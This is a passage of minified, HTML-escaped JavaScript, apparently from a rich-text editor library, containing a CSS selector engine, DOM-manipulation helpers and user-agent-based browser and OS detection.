n}(g||&quot;*&quot;,n.nodeType?[n]:n,[]),f=!m||!e&amp;&amp;g?l:Ft(l,u,m,n,r),d=p?v||(e?m:c||h)?[]:t:f;if(p&amp;&amp;p(f,d,n,r),h)for(o=Ft(d,s),h(o,[],n,r),i=o.length;i--;)(a=o[i])&amp;&amp;(d[s[i]]=!(f[s[i]]=a));if(e){if(v||m){if(v){for(o=[],i=d.length;i--;)(a=d[i])&amp;&amp;o.push(f[i]=a);v(null,d=[],o,r)}for(i=d.length;i--;)(a=d[i])&amp;&amp;-1&lt;(o=v?it.call(e,a):u[i])&amp;&amp;(e[o]=!(t[o]=a))}}else d=Ft(d===t?d.splice(c,d.length):d),v?v(null,t,d,r):rt.apply(t,d)})}function zt(e){for(var r,t,n,o=e.length,i=_e.relative[e[0].type],a=i||_e.relative[&quot; &quot;],u=i?1:0,s=It(function(e){return e===r},a,!0),c=It(function(e){return-1&lt;it.call(r,e)},a,!0),l=[function(e,t,n){return!i&amp;&amp;(n||t!==Pe)||((r=t).nodeType?s(e,t,n):c(e,t,n))}];u&lt;o;u++)if(t=_e.relative[e[u].type])l=[It(Lt(l),t)];else{if((t=_e.filter[e[u].type].apply(null,e[u].matches))[qe]){for(n=++u;n&lt;o&amp;&amp;!_e.relative[e[n].type];n++);return Mt(1&lt;u&amp;&amp;Lt(l),1&lt;u&amp;&amp;Pt(e.slice(0,u-1).concat({value:&quot; &quot;===e[u-2].type?&quot;*&quot;:&quot;&quot;})).replace(lt,&quot;$1&quot;),t,u&lt;n&amp;&amp;zt(e.slice(u,n)),n&lt;o&amp;&amp;zt(e=e.slice(n)),n&lt;o&amp;&amp;Pt(e))}l.push(t)}return Lt(l)}Bt.prototype=_e.filters=_e.pseudos,_e.setFilters=new Bt,De=St.tokenize=function(e,t){var n,r,o,i,a,u,s,c=Ye[e+&quot; &quot;];if(c)return t?0:c.slice(0);for(a=e,u=[],s=_e.preFilter;a;){for(i in n&amp;&amp;!(r=ft.exec(a))||(r&amp;&amp;(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=dt.exec(a))&amp;&amp;(n=r.shift(),o.push({value:n,type:r[0].replace(lt,&quot; &quot;)}),a=a.slice(n.length)),_e.filter)!(r=ht[i].exec(a))||s[i]&amp;&amp;!(r=s[i](r))||(n=r.shift(),o.push({value:n,type:i,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?St.error(e):Ye(e,u).slice(0)},Oe=St.compile=function(e,t){var n,h,v,y,b,r,o=[],i=[],a=Ge[e+&quot; &quot;];if(!a){for(t||(t=De(e)),n=t.length;n--;)(a=zt(t[n]))[qe]?o.push(a):i.push(a);(a=Ge(e,(h=i,y=0&lt;(v=o).length,b=0&lt;h.length,r=function(e,t,n,r,o){var i,a,u,s=0,c=&quot;0&quot;,l=e&amp;&amp;[],f=[],d=Pe,m=e||b&amp;&amp;_e.find.TAG(&quot;*&quot;,o),g=We+=null==d?1:Math.random()||.1,p=m.length;for(o&amp;&amp;(Pe=t!==Me&amp;&amp;t);c!==p&amp;&amp;null!=(i=m[c]);c++){if(b&amp;&amp;i){for(a=0;u=h[a++];)if(u(i,t,n)){r.push(i);break}o&amp;&amp;(We=g)}y&amp;&amp;((i=!u&amp;&amp;i)&amp;&amp;s--,e&amp;&amp;l.push(i))}if(s+=c,y&amp;&amp;c!==s){for(a=0;u=v[a++];)u(l,f,t,n);if(e){if(0&lt;s)for(;c--;)l[c]||f[c]||(f[c]=tt.call(r));f=Ft(f)}rt.apply(r,f),o&amp;&amp;!e&amp;&amp;0&lt;f.length&amp;&amp;1&lt;s+v.length&amp;&amp;St.uniqueSort(r)}return o&amp;&amp;(We=g,Pe=d),l},y?kt(r):r))).selector=e}return a},Be=St.select=function(e,t,n,r){var o,i,a,u,s,c=&quot;function&quot;==typeof e&amp;&amp;e,l=!r&amp;&amp;De(e=c.selector||e);if(n=n||[],1===l.length){if(2&lt;(i=l[0]=l[0].slice(0)).length&amp;&amp;&quot;ID&quot;===(a=i[0]).type&amp;&amp;ke.getById&amp;&amp;9===t.nodeType&amp;&amp;Ue&amp;&amp;_e.relative[i[1].type]){if(!(t=(_e.find.ID(a.matches[0].replace(Nt,Et),t)||[])[0]))return n;c&amp;&amp;(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=ht.needsContext.test(e)?0:i.length;o--&amp;&amp;(a=i[o],!_e.relative[u=a.type]);)if((s=_e.find[u])&amp;&amp;(r=s(a.matches[0].replace(Nt,Et),xt.test(i[0].type)&amp;&amp;Ot(t.parentNode)||t))){if(i.splice(o,1),!(e=r.length&amp;&amp;Pt(i)))return rt.apply(n,r),n;break}}return(c||Oe(e,l))(r,t,!Ue,n,xt.test(e)&amp;&amp;Ot(t.parentNode)||t),n},ke.sortStable=qe.split(&quot;&quot;).sort(Je).join(&quot;&quot;)===qe,ke.detectDuplicates=!!Le,Fe(),ke.sortDetached=!0;var Ut=Array.isArray,jt=function(e,t,n){var r,o;if(!e)return 0;if(n=n||e,e.length!==undefined){for(r=0,o=e.length;r&lt;o;r++)if(!1===t.call(n,e[r],r,e))return 0}else for(r in e)if(e.hasOwnProperty(r)&amp;&amp;!1===t.call(n,e[r],r,e))return 0;return 1},Vt=function(e,t,n){var r,o;for(r=0,o=e.length;r&lt;o;r++)if(t.call(n,e[r],r,e))return r;return-1},Ht={isArray:Ut,toArray:function(e){var t,n,r=e;if(!Ut(e))for(r=[],t=0,n=e.length;t&lt;n;t++)r[t]=e[t];return r},each:jt,map:function(n,r){var o=[];return jt(n,function(e,t){o.push(r(e,t,n))}),o},filter:function(n,r){var o=[];return jt(n,function(e,t){r&amp;&amp;!r(e,t,n)||o.push(e)}),o},indexOf:function(e,t){var n,r;if(e)for(n=0,r=e.length;n&lt;r;n++)if(e[n]===t)return n;return-1},reduce:function(e,t,n,r){var o=0;for(arguments.length&lt;3&amp;&amp;(n=e[0]);o&lt;e.length;o++)n=t.call(r,n,e[o],o);return n},findIndex:Vt,find:function(e,t,n){var r=Vt(e,t,n);return-1!==r?e[r]:undefined},last:function(e){return e[e.length-1]}},qt=/^\s*|\s*$/g,$t=function(e){return null===e||e===undefined?&quot;&quot;:(&quot;&quot;+e).replace(qt,&quot;&quot;)},Wt=function(e,t){return t?!(&quot;array&quot;!==t||!Ht.isArray(e))||typeof e===t:e!==undefined},Kt=function(e,n,r,o){o=o||this,e&amp;&amp;(r&amp;&amp;(e=e[r]),Ht.each(e,function(e,t){if(!1===n.call(o,e,t,r))return!1;Kt(e,n,r,o)}))},Xt={trim:$t,isArray:Ht.isArray,is:Wt,toArray:Ht.toArray,makeMap:function(e,t,n){var r;for(t=t||&quot;,&quot;,&quot;string&quot;==typeof(e=e||[])&amp;&amp;(e=e.split(t)),n=n||{},r=e.length;r--;)n[e[r]]={};return n},each:Ht.each,map:Ht.map,grep:Ht.filter,inArray:Ht.indexOf,hasOwn:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},extend:function(e,t){for(var n,r,o,i=[],a=2;a&lt;arguments.length;a++)i[a-2]=arguments[a];var u,s=arguments;for(n=1,r=s.length;n&lt;r;n++)for(o in t=s[n])t.hasOwnProperty(o)&amp;&amp;(u=t[o])!==undefined&amp;&amp;(e[o]=u);return e},create:function(e,t,n){var r,o,i,a,u,s=this,c=0;if(e=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(e),i=e[3].match(/(^|\.)(\w+)$/i)[2],!(o=s.createNS(e[3].replace(/\.\w+$/,&quot;&quot;),n))[i]){if(&quot;static&quot;===e[2])return o[i]=t,void(this.onCreate&amp;&amp;this.onCreate(e[2],e[3],o[i]));t[i]||(t[i]=function(){},c=1),o[i]=t[i],s.extend(o[i].prototype,t),e[5]&amp;&amp;(r=s.resolve(e[5]).prototype,a=e[5].match(/\.(\w+)$/i)[1],u=o[i],o[i]=c?function(){return r[a].apply(this,arguments)}:function(){return this.parent=r[a],u.apply(this,arguments)},o[i].prototype[i]=o[i],s.each(r,function(e,t){o[i].prototype[t]=r[t]}),s.each(t,function(e,t){r[t]?o[i].prototype[t]=function(){return this.parent=r[t],e.apply(this,arguments)}:t!==i&amp;&amp;(o[i].prototype[t]=e)})),s.each(t[&quot;static&quot;],function(e,t){o[i][t]=e})}},walk:Kt,createNS:function(e,t){var n,r;for(t=t||V.window,e=e.split(&quot;.&quot;),n=0;n&lt;e.length;n++)t[r=e[n]]||(t[r]={}),t=t[r];return t},resolve:function(e,t){var n,r;for(t=t||V.window,n=0,r=(e=e.split(&quot;.&quot;)).length;n&lt;r&amp;&amp;(t=t[e[n]]);n++);return t},explode:function(e,t){return!e||Wt(e,&quot;array&quot;)?e:Ht.map(e.split(t||&quot;,&quot;),$t)},_addCacheSuffix:function(e){var t=fe.cacheSuffix;return t&amp;&amp;(e+=(-1===e.indexOf(&quot;?&quot;)?&quot;?&quot;:&quot;&amp;&quot;)+t),e}},Yt=V.document,Gt=Array.prototype.push,Jt=Array.prototype.slice,Qt=/^(?:[^#&lt;]*(&lt;[\w\W]+&gt;)[^&gt;]*$|#([\w\-]*)$)/,Zt=Se.Event,en=Xt.makeMap(&quot;children,contents,next,prev&quot;),tn=function(e){return void 0!==e},nn=function(e){return&quot;string&quot;==typeof e},rn=function(e,t){var n,r,o;for(o=(t=t||Yt).createElement(&quot;div&quot;),n=t.createDocumentFragment(),o.innerHTML=e;r=o.firstChild;)n.appendChild(r);return n},on=function(e,t,n,r){var o;if(nn(t))t=rn(t,bn(e[0]));else if(t.length&amp;&amp;!t.nodeType){if(t=gn.makeArray(t),r)for(o=t.length-1;0&lt;=o;o--)on(e,t[o],n,r);else for(o=0;o&lt;t.length;o++)on(e,t[o],n,r);return e}if(t.nodeType)for(o=e.length;o--;)n.call(e[o],t);return e},an=function(e,t){return e&amp;&amp;t&amp;&amp;-1!==(&quot; &quot;+e.className+&quot; &quot;).indexOf(&quot; &quot;+t+&quot; &quot;)},un=function(e,t,n){var r,o;return t=gn(t)[0],e.each(function(){var e=this;n&amp;&amp;r===e.parentNode||(r=e.parentNode,o=t.cloneNode(!1),e.parentNode.insertBefore(o,e)),o.appendChild(e)}),e},sn=Xt.makeMap(&quot;fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom&quot;,&quot; &quot;),cn=Xt.makeMap(&quot;checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected&quot;,&quot; &quot;),ln={&quot;for&quot;:&quot;htmlFor&quot;,&quot;class&quot;:&quot;className&quot;,readonly:&quot;readOnly&quot;},fn={&quot;float&quot;:&quot;cssFloat&quot;},dn={},mn={},gn=function(e,t){return new gn.fn.init(e,t)},pn=/^\s*|\s*$/g,hn=function(e){return null===e||e===undefined?&quot;&quot;:(&quot;&quot;+e).replace(pn,&quot;&quot;)},vn=function(e,t){var n,r,o,i;if(e)if((n=e.length)===undefined){for(r in e)if(e.hasOwnProperty(r)&amp;&amp;(i=e[r],!1===t.call(i,r,i)))break}else for(o=0;o&lt;n&amp;&amp;(i=e[o],!1!==t.call(i,o,i));o++);return e},yn=function(e,n){var r=[];return vn(e,function(e,t){n(t,e)&amp;&amp;r.push(t)}),r},bn=function(e){return e?9===e.nodeType?e:e.ownerDocument:Yt};gn.fn=gn.prototype={constructor:gn,selector:&quot;&quot;,context:null,length:0,init:function(e,t){var n,r,o=this;if(!e)return o;if(e.nodeType)return o.context=o[0]=e,o.length=1,o;if(t&amp;&amp;t.nodeType)o.context=t;else{if(t)return gn(e).attr(t);o.context=t=V.document}if(nn(e)){if(!(n=&quot;&lt;&quot;===(o.selector=e).charAt(0)&amp;&amp;&quot;&gt;&quot;===e.charAt(e.length-1)&amp;&amp;3&lt;=e.length?[null,e,null]:Qt.exec(e)))return gn(t).find(e);if(n[1])for(r=rn(e,bn(t)).firstChild;r;)Gt.call(o,r),r=r.nextSibling;else{if(!(r=bn(t).getElementById(n[2])))return o;if(r.id!==n[2])return o.find(e);o.length=1,o[0]=r}}else this.add(e,!1);return o},toArray:function(){return Xt.toArray(this)},add:function(e,t){var n,r,o=this;if(nn(e))return o.add(gn(e));if(!1!==t)for(n=gn.unique(o.toArray().concat(gn.makeArray(e))),o.length=n.length,r=0;r&lt;n.length;r++)o[r]=n[r];else Gt.apply(o,gn.makeArray(e));return o},attr:function(t,n){var e,r=this;if(&quot;object&quot;==typeof t)vn(t,function(e,t){r.attr(e,t)});else{if(!tn(n)){if(r[0]&amp;&amp;1===r[0].nodeType){if((e=dn[t])&amp;&amp;e.get)return e.get(r[0],t);if(cn[t])return r.prop(t)?t:undefined;null===(n=r[0].getAttribute(t,2))&amp;&amp;(n=undefined)}return n}this.each(function(){var e;if(1===this.nodeType){if((e=dn[t])&amp;&amp;e.set)return void e.set(this,n);null===n?this.removeAttribute(t,2):this.setAttribute(t,n,2)}})}return r},removeAttr:function(e){return this.attr(e,null)},prop:function(e,t){var n=this;if(&quot;object&quot;==typeof(e=ln[e]||e))vn(e,function(e,t){n.prop(e,t)});else{if(!tn(t))return n[0]&amp;&amp;n[0].nodeType&amp;&amp;e in n[0]?n[0][e]:t;this.each(function(){1===this.nodeType&amp;&amp;(this[e]=t)})}return n},css:function(n,r){var e,o,i=this,t=function(e){return e.replace(/-(\D)/g,function(e,t){return t.toUpperCase()})},a=function(e){return e.replace(/[A-Z]/g,function(e){return&quot;-&quot;+e})};if(&quot;object&quot;==typeof n)vn(n,function(e,t){i.css(e,t)});else if(tn(r))n=t(n),&quot;number&quot;!=typeof r||sn[n]||(r=r.toString()+&quot;px&quot;),i.each(function(){var e=this.style;if((o=mn[n])&amp;&amp;o.set)o.set(this,r);else{try{this.style[fn[n]||n]=r}catch(t){}null!==r&amp;&amp;&quot;&quot;!==r||(e.removeProperty?e.removeProperty(a(n)):e.removeAttribute(n))}});else{if(e=i[0],(o=mn[n])&amp;&amp;o.get)return o.get(e);if(!e.ownerDocument.defaultView)return e.currentStyle?e.currentStyle[t(n)]:&quot;&quot;;try{return e.ownerDocument.defaultView.getComputedStyle(e,null).getPropertyValue(a(n))}catch(u){return undefined}}return i},remove:function(){for(var e,t=this.length;t--;)e=this[t],Zt.clean(e),e.parentNode&amp;&amp;e.parentNode.removeChild(e);return this},empty:function(){for(var e,t=this.length;t--;)for(e=this[t];e.firstChild;)e.removeChild(e.firstChild);return this},html:function(e){var t,n=this;if(tn(e)){t=n.length;try{for(;t--;)n[t].innerHTML=e}catch(r){gn(n[t]).empty().append(e)}return n}return n[0]?n[0].innerHTML:&quot;&quot;},text:function(e){var t,n=this;if(tn(e)){for(t=n.length;t--;)&quot;innerText&quot;in n[t]?n[t].innerText=e:n[0].textContent=e;return n}return n[0]?n[0].innerText||n[0].textContent:&quot;&quot;},append:function(){return on(this,arguments,function(e){(1===this.nodeType||this.host&amp;&amp;1===this.host.nodeType)&amp;&amp;this.appendChild(e)})},prepend:function(){return on(this,arguments,function(e){(1===this.nodeType||this.host&amp;&amp;1===this.host.nodeType)&amp;&amp;this.insertBefore(e,this.firstChild)},!0)},before:function(){return this[0]&amp;&amp;this[0].parentNode?on(this,arguments,function(e){this.parentNode.insertBefore(e,this)}):this},after:function(){return this[0]&amp;&amp;this[0].parentNode?on(this,arguments,function(e){this.parentNode.insertBefore(e,this.nextSibling)},!0):this},appendTo:function(e){return gn(e).append(this),this},prependTo:function(e){return gn(e).prepend(this),this},replaceWith:function(e){return this.before(e).remove()},wrap:function(e){return un(this,e)},wrapAll:function(e){return un(this,e,!0)},wrapInner:function(e){return this.each(function(){gn(this).contents().wrapAll(e)}),this},unwrap:function(){return this.parent().each(function(){gn(this).replaceWith(this.childNodes)})},clone:function(){var e=[];return this.each(function(){e.push(this.cloneNode(!0))}),gn(e)},addClass:function(e){return this.toggleClass(e,!0)},removeClass:function(e){return this.toggleClass(e,!1)},toggleClass:function(o,i){var e=this;return&quot;string&quot;!=typeof o||(-1!==o.indexOf(&quot; &quot;)?vn(o.split(&quot; &quot;),function(){e.toggleClass(this,i)}):e.each(function(e,t){var n,r;(r=an(t,o))!==i&amp;&amp;(n=t.className,r?t.className=hn((&quot; &quot;+n+&quot; &quot;).replace(&quot; &quot;+o+&quot; &quot;,&quot; &quot;)):t.className+=n?&quot; &quot;+o:o)})),e},hasClass:function(e){return an(this[0],e)},each:function(e){return vn(this,e)},on:function(e,t){return this.each(function(){Zt.bind(this,e,t)})},off:function(e,t){return this.each(function(){Zt.unbind(this,e,t)})},trigger:function(e){return this.each(function(){&quot;object&quot;==typeof e?Zt.fire(this,e.type,e):Zt.fire(this,e)})},show:function(){return this.css(&quot;display&quot;,&quot;&quot;)},hide:function(){return this.css(&quot;display&quot;,&quot;none&quot;)},slice:function(){return new gn(Jt.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},find:function(e){var t,n,r=[];for(t=0,n=this.length;t&lt;n;t++)gn.find(e,this[t],r);return gn(r)},filter:function(n){return gn(&quot;function&quot;==typeof n?yn(this.toArray(),function(e,t){return n(t,e)}):gn.filter(n,this.toArray()))},closest:function(n){var r=[];return n instanceof gn&amp;&amp;(n=n[0]),this.each(function(e,t){for(;t;){if(&quot;string&quot;==typeof n&amp;&amp;gn(t).is(n)){r.push(t);break}if(t===n){r.push(t);break}t=t.parentNode}}),gn(r)},offset:function(e){var t,n,r,o,i=0,a=0;return e?this.css(e):((t=this[0])&amp;&amp;(r=(n=t.ownerDocument).documentElement,t.getBoundingClientRect&amp;&amp;(i=(o=t.getBoundingClientRect()).left+(r.scrollLeft||n.body.scrollLeft)-r.clientLeft,a=o.top+(r.scrollTop||n.body.scrollTop)-r.clientTop)),{left:i,top:a})},push:Gt,sort:[].sort,splice:[].splice},Xt.extend(gn,{extend:Xt.extend,makeArray:function(e){return(t=e)&amp;&amp;t===t.window||e.nodeType?[e]:Xt.toArray(e);var t},inArray:function(e,t){var n;if(t.indexOf)return t.indexOf(e);for(n=t.length;n--;)if(t[n]===e)return n;return-1},isArray:Xt.isArray,each:vn,trim:hn,grep:yn,find:St,expr:St.selectors,unique:St.uniqueSort,text:St.getText,contains:St.contains,filter:function(e,t,n){var r=t.length;for(n&amp;&amp;(e=&quot;:not(&quot;+e+&quot;)&quot;);r--;)1!==t[r].nodeType&amp;&amp;t.splice(r,1);return t=1===t.length?gn.find.matchesSelector(t[0],e)?[t[0]]:[]:gn.find.matches(e,t)}});var Cn=function(e,t,n){var r=[],o=e[t];for(&quot;string&quot;!=typeof n&amp;&amp;n instanceof gn&amp;&amp;(n=n[0]);o&amp;&amp;9!==o.nodeType;){if(n!==undefined){if(o===n)break;if(&quot;string&quot;==typeof n&amp;&amp;gn(o).is(n))break}1===o.nodeType&amp;&amp;r.push(o),o=o[t]}return r},xn=function(e,t,n,r){var o=[];for(r instanceof gn&amp;&amp;(r=r[0]);e;e=e[t])if(!n||e.nodeType===n){if(r!==undefined){if(e===r)break;if(&quot;string&quot;==typeof r&amp;&amp;gn(e).is(r))break}o.push(e)}return o},wn=function(e,t,n){for(e=e[t];e;e=e[t])if(e.nodeType===n)return e;return null};vn({parent:function(e){var t=e.parentNode;return t&amp;&amp;11!==t.nodeType?t:null},parents:function(e){return Cn(e,&quot;parentNode&quot;)},next:function(e){return wn(e,&quot;nextSibling&quot;,1)},prev:function(e){return wn(e,&quot;previousSibling&quot;,1)},children:function(e){return xn(e.firstChild,&quot;nextSibling&quot;,1)},contents:function(e){return Xt.toArray((&quot;iframe&quot;===e.nodeName?e.contentDocument||e.contentWindow.document:e).childNodes)}},function(e,r){gn.fn[e]=function(t){var n=[];return this.each(function(){var e=r.call(n,this,t,n);e&amp;&amp;(gn.isArray(e)?n.push.apply(n,e):n.push(e))}),1&lt;this.length&amp;&amp;(en[e]||(n=gn.unique(n)),0===e.indexOf(&quot;parents&quot;)&amp;&amp;(n=n.reverse())),n=gn(n),t?n.filter(t):n}}),vn({parentsUntil:function(e,t){return Cn(e,&quot;parentNode&quot;,t)},nextUntil:function(e,t){return xn(e,&quot;nextSibling&quot;,1,t).slice(1)},prevUntil:function(e,t){return xn(e,&quot;previousSibling&quot;,1,t).slice(1)}},function(r,o){gn.fn[r]=function(t,e){var n=[];return this.each(function(){var e=o.call(n,this,t,n);e&amp;&amp;(gn.isArray(e)?n.push.apply(n,e):n.push(e))}),1&lt;this.length&amp;&amp;(n=gn.unique(n),0!==r.indexOf(&quot;parents&quot;)&amp;&amp;&quot;prevUntil&quot;!==r||(n=n.reverse())),n=gn(n),e?n.filter(e):n}}),gn.fn.is=function(e){return!!e&amp;&amp;0&lt;this.filter(e).length},gn.fn.init.prototype=gn.fn,gn.overrideDefaults=function(n){var r,o=function(e,t){return r=r||n(),0===arguments.length&amp;&amp;(e=r.element),t||(t=r.context),new o.fn.init(e,t)};return gn.extend(o,this),o};var Nn=function(n,r,e){vn(e,function(e,t){n[e]=n[e]||{},n[e][r]=t})};fe.ie&amp;&amp;fe.ie&lt;8&amp;&amp;(Nn(dn,&quot;get&quot;,{maxlength:function(e){var t=e.maxLength;return 2147483647===t?undefined:t},size:function(e){var t=e.size;return 20===t?undefined:t},&quot;class&quot;:function(e){return e.className},style:function(e){var t=e.style.cssText;return 0===t.length?undefined:t}}),Nn(dn,&quot;set&quot;,{&quot;class&quot;:function(e,t){e.className=t},style:function(e,t){e.style.cssText=t}})),fe.ie&amp;&amp;fe.ie&lt;9&amp;&amp;(fn[&quot;float&quot;]=&quot;styleFloat&quot;,Nn(mn,&quot;set&quot;,{opacity:function(e,t){var n=e.style;null===t||&quot;&quot;===t?n.removeAttribute(&quot;filter&quot;):(n.zoom=1,n.filter=&quot;alpha(opacity=&quot;+100*t+&quot;)&quot;)}})),gn.attrHooks=dn,gn.cssHooks=mn;var En,Sn,Tn,kn,_n,An,Rn,Dn=function(e,t){var n=function(e,t){for(var n=0;n&lt;e.length;n++){var r=e[n];if(r.test(t))return r}return undefined}(e,t);if(!n)return{major:0,minor:0};var r=function(e){return Number(t.replace(n,&quot;$&quot;+e))};return Bn(r(1),r(2))},On=function(){return Bn(0,0)},Bn=function(e,t){return{major:e,minor:t}},Pn={nu:Bn,detect:function(e,t){var n=String(t).toLowerCase();return 0===e.length?On():Dn(e,n)},unknown:On},In=&quot;Firefox&quot;,Ln=function(e,t){return function(){return t===e}},Fn=function(e){var t=e.current;return{current:t,version:e.version,isEdge:Ln(&quot;Edge&quot;,t),isChrome:Ln(&quot;Chrome&quot;,t),isIE:Ln(&quot;IE&quot;,t),isOpera:Ln(&quot;Opera&quot;,t),isFirefox:Ln(In,t),isSafari:Ln(&quot;Safari&quot;,t)}},Mn={unknown:function(){return Fn({current:undefined,version:Pn.unknown()})},nu:Fn,edge:q(&quot;Edge&quot;),chrome:q(&quot;Chrome&quot;),ie:q(&quot;IE&quot;),opera:q(&quot;Opera&quot;),firefox:q(In),safari:q(&quot;Safari&quot;)},zn=&quot;Windows&quot;,Un=&quot;Android&quot;,jn=&quot;Solaris&quot;,Vn=&quot;FreeBSD&quot;,Hn=function(e,t){return function(){return t===e}},qn=function(e){var t=e.current;return{current:t,version:e.version,isWindows:Hn(zn,t),isiOS:Hn(&quot;iOS&quot;,t),isAndroid:Hn(Un,t),isOSX:Hn(&quot;OSX&quot;,t),isLinux:Hn(&quot;Linux&quot;,t),isSolaris:Hn(jn,t),isFreeBSD:Hn(Vn,t)}},$n={unknown:function(){return qn({current:undefined,version:Pn.unknown()})},nu:qn,windows:q(zn),ios:q(&quot;iOS&quot;),android:q(Un),linux:q(&quot;Linux&quot;),osx:q(&quot;OSX&quot;),solaris:q(jn),freebsd:q(Vn)},Wn=function(e,t){var n=String(t).toLowerCase();return X(e,function(e){return e.search(n)})},Kn=function(e,n){return Wn(e,n).map(function(e){var t=Pn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},Xn=function(e,n){return Wn(e,n).map(function(e){var t=Pn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},Yn=function(e,t){return-1!==e.indexOf(t)},Gn=function(e){return e.replace(/^\s+|\s+$/g,&quot;&quot;)},Jn=function(e){return e.replace(/\s+$/g,&quot;&quot;)},Qn=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Zn=function(t){return function(e){return Yn(e,t)}},er=[{name:&quot;Edge&quot;,versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Yn(e,&quot;edge/&quot;)&amp;&amp;Yn(e,&quot;chrome&quot;)&amp;&amp;Yn(e,&quot;safari&quot;)&amp;&amp;Yn(e,&quot;applewebkit&quot;)}},{name:&quot;Chrome&quot;,versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Qn],search:function(e){return Yn(e,&quot;chrome&quot;)&amp;&amp;!Yn(e,&quot;chromeframe&quot;)}},{name:&quot;IE&quot;,versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Yn(e,&quot;msie&quot;)||Yn(e,&quot;trident&quot;)}},{name:&quot;Opera&quot;,versionRegexes:[Qn,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Zn(&quot;opera&quot;)},{name:&quot;Firefox&quot;,versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Zn(&quot;firefox&quot;)},{name:&quot;Safari&quot;,versionRegexes:[Qn,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Yn(e,&quot;safari&quot;)||Yn(e,&quot;mobile/&quot;))&amp;&amp;Yn(e,&quot;applewebkit&quot;)}}],tr=[{name:&quot;Windows&quot;,search:Zn(&quot;win&quot;),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;iOS&quot;,search:function(e){return Yn(e,&quot;iphone&quot;)||Yn(e,&quot;ipad&quot;)},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:&quot;Android&quot;,search:Zn(&quot;android&quot;),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;OSX&quot;,search:Zn(&quot;os x&quot;),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:&quot;Linux&quot;,search:Zn(&quot;linux&quot;),versionRegexes:[]},{name:&quot;Solaris&quot;,search:Zn(&quot;sunos&quot;),versionRegexes:[]},{name:&quot;FreeBSD&quot;,search:Zn(&quot;freebsd&quot;),versionRegexes:[]}],nr={browsers:q(er),oses:q(tr)},rr=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=nr.browsers(),m=nr.oses(),g=Kn(d,e).fold(Mn.unknown,Mn.nu),p=Xn(m,e).fold($n.unknown,$n.nu);return{browser:g,os:p,deviceType:(n=g,r=e,o=(t=p).isiOS()&amp;&amp;!0===/ipad/i.test(r),i=t.isiOS()&amp;&amp;!o,a=t.isAndroid()&amp;&amp;3===t.version.major,u=t.isAndroid()&amp;&amp;4===t.version.major,s=o||a||u&amp;&amp;!0===/mobile/i.test(r),c=t.isiOS()||t.isAndroid(),l=c&amp;&amp;!s,f=n.isSafari()&amp;&amp;t.isiOS()&amp;&amp;!1===/safari/i.test(r),{isiPad:q(o),isiPhone:q(i),isTablet:q(s),isPhone:q(l),isTouch:q(c),isAndroid:t.isAndroid,isiOS:t.isiOS,isWebView:q(f)})}},or={detect:(En=function(){var e=V.navigator.userAgent;return rr(e)},Tn=!1,function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return Tn||(Tn=!0,Sn=En.apply(null,e)),Sn})},ir=function(e){if(null===e||e===undefined)throw new Error(&quot;Node cannot be null or undefined&quot;);return{dom:q(e)}},ar={fromHtml:function(e,t){var n=(t||V.document).createElement(&quot;div&quot;);if(n.innerHTML=e,!n.hasChildNodes()||1&lt;n.childNodes.length)throw V.console.error(&quot;HTML does not have a single root node&quot;,e),new Error(&quot;HTML must have a single root node&quot;);return ir(n.childNodes[0])},fromTag:function(e,t){var n=(t||V.document).createElement(e);return ir(n)},fromText:function(e,t){var n=(t||V.document).createTextNode(e);return ir(n)},fromDom:ir,fromPoint:function(e,t,n){var r=e.dom();return _.from(r.elementFromPoint(t,n)).map(ir)}},ur=(V.Node.ATTRIBUTE_NODE,V.Node.CDATA_SECTION_NODE,V.Node.COMMENT_NODE,V.Node.DOCUMENT_NODE),sr=(V.Node.DOCUMENT_TYPE_NODE,V.Node.DOCUMENT_FRAGMENT_NODE,V.Node.ELEMENT_NODE),cr=V.Node.TEXT_NODE,lr=(V.Node.PROCESSING_INSTRUCTION_NODE,V.Node.ENTITY_REFERENCE_NODE,V.Node.ENTITY_NODE,V.Node.NOTATION_NODE,function(e){return e.dom().nodeName.toLowerCase()}),fr=function(t){return function(e){return e.dom().nodeType===t}},dr=fr(sr),mr=fr(cr),gr=Object.keys,pr=Object.hasOwnProperty,hr=function(e,t){for(var n=gr(e),r=0,o=n.length;r&lt;o;r++){var i=n[r];t(e[i],i)}},vr=function(e,r){var o={};return hr(e,function(e,t){var n=r(e,t);o[n.k]=n.v}),o},yr=function(e,n){var r={},o={};return hr(e,function(e,t){(n(e,t)?r:o)[t]=e}),{t:r,f:o}},br=function(e,t){return pr.call(e,t)},Cr=function(e){return e.style!==undefined&amp;&amp;D(e.style.getPropertyValue)},xr=function(e,t,n){if(!(S(n)||R(n)||O(n)))throw V.console.error(&quot;Invalid call to Attr.set. Key &quot;,t,&quot;:: Value &quot;,n,&quot;:: Element &quot;,e),new Error(&quot;Attribute value was not simple&quot;);e.setAttribute(t,n+&quot;&quot;)},wr=function(e,t,n){xr(e.dom(),t,n)},Nr=function(e,t){var 